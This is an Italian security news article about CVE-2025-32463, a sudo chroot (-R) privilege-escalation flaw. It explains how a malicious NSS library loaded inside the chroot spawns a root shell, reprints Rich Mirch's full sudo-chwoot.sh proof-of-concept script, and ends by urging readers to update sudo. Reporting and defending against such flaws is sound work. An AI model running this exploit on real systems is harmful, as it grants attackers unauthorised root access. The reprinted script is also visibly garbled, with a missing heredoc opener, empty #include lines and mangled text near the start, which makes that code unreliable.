Redazione RHC : 2 Luglio 2025 12:41
Nella giornata di ieri, Red Hot Cyber ha pubblicato un approfondimento su una gCVE-2025-32463), che consente l’escalation dei privilegi a root in ambienti Linux sfruttando un abuso della funzione chroot
.
L’exploit, reso pubblico da Stratascale, dimostra come un utente non privilegiato possa ottenere l’accesso root tramite una precisa catena di operazioni che sfruttano un comportamento errato nella gestione dei processi figli in ambienti chroot
.
Manuel Roccon, ricercatore del gruppo HackerHood di Red Hot Cyber, ha voluto mettere le mani sull’exploit per verificarne concretamente la portata e valutarne la replicabilità in ambienti reali. “Non potevo resistere alla tentazione di provarlo in un ambiente isolato. È impressionante quanto sia diretto e pulito il meccanismo, una volta soddisfatti i requisiti richiesti dal PoC”, afferma Manuel.
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Il team ha quindi testato il Proof of Concept pubblicato da Stratascale CVE-2025-32463. Il risultato? Privilege escalation ottenuta con successo.
L’exploit sfrutta una condizione in cui sudo
esegue un comando in un ambiente chroot
, lasciando tuttavia aperte alcune possibilità al processo figlio di uscire dal chroot e di manipolare lo spazio dei nomi dei processi (namespace) fino ad ottenere accesso completo come utente root.
L’exploit CVE-2025-32463, dimostrato nel PoC sudo-chwoot.sh
di Rich Mirch (Stratascale CRU), sfrutta una vulnerabilità in sudo
che consente a un utente non privilegiato di ottenere privilegi di root quando sudo
viene eseguito con l’opzione -R
(che specifica un chroot directory). Lo script crea un ambiente temporaneo (/tmp/sudowoot.stage.*
), compila una libreria condivisa malevola (libnss_/woot1337.so.2
) contenente una funzione constructor che eleva i privilegi e apre una shell root (/bin/bash
), e forza sudo
a caricarla come libreria NSS nel contesto chroot
.
La tecnica sfrutta un errore logico nella gestione della libreria NSS in ambienti chroot
, dove sudo
carica dinamicamente librerie esterne senza isolarle correttamente. Lo script imposta infatti una finta configurazione nsswitch.conf
per forzare l’uso della propria libreria, posizionandola all’interno della directory woot/
, che funge da root virtuale per il chroot. Quando sudo -R woot woot
viene eseguito, la libreria woot1337.so.2
viene caricata, e il codice eseguito automaticamente grazie all’attributo __attribute__((constructor))
, ottenendo così l’escalation dei privilegi.
I requisiti fondamentali per sfruttare con successo questa vulnerabilità includono:
chroot
tramite sudo
.sudoers
.Non è necessario che un utente sia sudoers
per eseguire l’exploit.
Di seguito le semplici righe:
#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
# @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1
cat > woot1337.c
#include
__attribute__((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/bash", "/bin/bash", NULL);
}
EOF
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}
Il test effettuato da Manuel Roccon dimostra quanto questa vulnerabilità non sia solo teorica, ma pienamente sfruttabile in ambienti di produzione non correttamente protetti. In scenari DevOps o containerizzati, dove l’uso di sudo
e chroot
è comune, i rischi aumentano considerevolmente.
Red Hot Cyber e il gruppo HackerHood raccomandano l’immediato aggiornamento di SUDO all’ultima versione disponibile, e la revisione delle configurazioni di sicurezza relative a chroot e permessi sudoers.
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